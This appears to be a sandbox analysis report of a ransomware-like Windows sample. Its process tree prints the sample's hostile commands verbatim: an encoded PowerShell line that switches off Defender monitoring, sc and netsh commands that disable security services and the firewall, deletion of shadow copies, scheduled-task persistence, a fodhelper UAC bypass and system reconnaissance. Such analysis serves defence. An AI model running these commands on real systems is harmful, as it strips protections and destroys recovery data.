PID 1064 wrote to memory of 3320	1064	chrome.exe	105
PID 2336 wrote to memory of 1964	2336	xoilacvac.cc_chrome.exe	106
PID 2336 wrote to memory of 4716	2336	xoilacvac.cc_chrome.exe	108
PID 2336 wrote to memory of 3000	2336	xoilacvac.cc_chrome.exe	110
PID 2336 wrote to memory of 1776	2336	xoilacvac.cc_chrome.exe	112
PID 1064 wrote to memory of 3868	1064	chrome.exe	114
PID 1064 wrote to memory of 3868	1064	chrome.exe	114
PID 2336 wrote to memory of 5620	2336	xoilacvac.cc_chrome.exe	115
PID 2336 wrote to memory of 984	2336	xoilacvac.cc_chrome.exe	117
PID 2336 wrote to memory of 1748	2336	xoilacvac.cc_chrome.exe	118
PID 2336 wrote to memory of 5592	2336	xoilacvac.cc_chrome.exe	120
PID 984 wrote to memory of 4732	984	fodhelper.exe	156
PID 2336 wrote to memory of 2764	2336	xoilacvac.cc_chrome.exe	123
PID 2336 wrote to memory of 5460	2336	xoilacvac.cc_chrome.exe	125
PID 1064 wrote to memory of 2512	1064	chrome.exe	126
PID 1064 wrote to memory of 2512	1064	chrome.exe	126
PID 2336 wrote to memory of 1468	2336	xoilacvac.cc_chrome.exe	181
PID 2336 wrote to memory of 5988	2336	xoilacvac.cc_chrome.exe	134
PID 2336 wrote to memory of 2616	2336	xoilacvac.cc_chrome.exe	136
PID 1064 wrote to memory of 2536	1064	chrome.exe	141
PID 1064 wrote to memory of 2536	1064	chrome.exe	141
PID 2336 wrote to memory of 1120	2336	xoilacvac.cc_chrome.exe	142
PID 2336 wrote to memory of 1200	2336	xoilacvac.cc_chrome.exe	144
PID 2336 wrote to memory of 3832	2336	xoilacvac.cc_chrome.exe	145
PID 2336 wrote to memory of 3920	2336	xoilacvac.cc_chrome.exe	146
PID 2336 wrote to memory of 2912	2336	xoilacvac.cc_chrome.exe	147
PID 2336 wrote to memory of 4512	2336	xoilacvac.cc_chrome.exe	148
PID 2336 wrote to memory of 3092	2336	xoilacvac.cc_chrome.exe	149
PID 2336 wrote to memory of 4448	2336	xoilacvac.cc_chrome.exe	151
PID 2336 wrote to memory of 2724	2336	xoilacvac.cc_chrome.exe	158
PID 2336 wrote to memory of 4172	2336	xoilacvac.cc_chrome.exe	159
PID 3092 wrote to memory of 3456	3092	cmd.exe	160
PID 1120 wrote to memory of 384	1120	cmd.exe	161
PID 4512 wrote to memory of 4896	4512	cmd.exe	162
PID 3832 wrote to memory of 3428	3832	cmd.exe	163
PID 1200 wrote to memory of 5756	1200	cmd.exe	164
PID 3920 wrote to memory of 1104	3920	cmd.exe	165
PID 2912 wrote to memory of 4228	2912	cmd.exe	166
PID 4228 wrote to memory of 5364	4228	net.exe	167
PID 2336 wrote to memory of 5152	2336	xoilacvac.cc_chrome.exe	168
PID 2336 wrote to memory of 5324	2336	xoilacvac.cc_chrome.exe	169
PID 2336 wrote to memory of 3020	2336	xoilacvac.cc_chrome.exe	170
PID 2336 wrote to memory of 1356	2336	xoilacvac.cc_chrome.exe	171
PID 2336 wrote to memory of 2804	2336	xoilacvac.cc_chrome.exe	172
PID 2336 wrote to memory of 3688	2336	xoilacvac.cc_chrome.exe	173
PID 3020 wrote to memory of 1536	3020	net.exe	180
PID 1120 wrote to memory of 1468	1120	cmd.exe	181
PID 1064 wrote to memory of 900	1064	chrome.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilacvac.cc
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffbd1fcc728,0x7ffbd1fcc734,0x7ffbd1fcc740
    3⤵
    PID:4856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2044,i,8546872286896216392,63340806906806,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,4119007816021396886,11001348383169329422,262144 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2340,i,8663333449315085149,5034756051123870051,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:13
    3⤵
    PID:4556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3116,i,3076949795218351473,7344097638553003933,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
    3⤵
    PID:5072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3124,i,8764098181367526563,2325490394703456591,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
    3⤵
    PID:4872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,11793951599708225024,2639144769565943720,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:14
    3⤵
    PID:3320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4868,i,16731520379804970715,11585432303532987455,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:1
    3⤵
    PID:3868
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5168,i,17743125722415263774,6601263963346522784,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:1
    3⤵
    PID:2512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=5604,i,1212130800197448121,2474719908646702709,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:12
    3⤵
    PID:2536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4420,i,3420561338510666178,10903615457074255583,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:14
    3⤵
    PID:900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3460,i,6520670712465172036,6099529265338243148,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
    3⤵
    PID:2464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3424,i,16998580826732282555,10516384767064554828,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:1
    3⤵
    PID:6076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6276,i,14512188481006691805,4123218738908213976,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:14
    3⤵
    PID:5932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3436,i,9939698804876335586,11572131231270233572,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
    3⤵
    PID:2332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6132,i,15028801932928690196,8685282965742060481,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
    3⤵
    PID:1972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6272,i,998182942776820219,5960776651251952602,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:1
    3⤵
    PID:4120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6296,i,906544227357664688,13508011157351030451,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
    3⤵
    PID:6100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3472,i,617546375274620294,12568312074170124236,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:1708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6552,i,17863110809222720914,11978149897617427397,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:1
    3⤵
    PID:1376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6516,i,6310182728236413355,829594135891513654,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:1
    3⤵
    PID:2052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5764,i,10102963374785265381,13890105225835882977,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:1
    3⤵
    PID:4528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3296,i,10727281352082193332,8380977952253365975,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
    3⤵
    PID:328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6580,i,3461966727913574402,7679812477722956094,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:1
    3⤵
    PID:8
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5780,i,15480489948731606707,14401226848050680156,524288 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
    3⤵
    PID:812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=5208,i,4648924022357968903,3401681143172325095,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:1
    3⤵
    PID:320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6320,i,16219695567001817026,16133060097044992303,2097152 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:9
    3⤵
    PID:2760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5232,i,1119811757805783824,1399295850030111682,262144 --field-trial-handle=1912,i,12247138300076996828,7909638617282982225,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:10
    3⤵
    PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3680
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1964
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4716
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3000
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5620
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe"
    3⤵
    PID:4732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5592
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2764
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5460
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1468
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5988
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:384
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5756
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3428
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4732
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5364
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4896
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3456
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4448
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2724
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4172
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5152
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5324
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1536
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2804
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3688

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5940

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe
1⤵
PID:2404

C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoilacvac.cc_chrome.exe
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5008

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:328

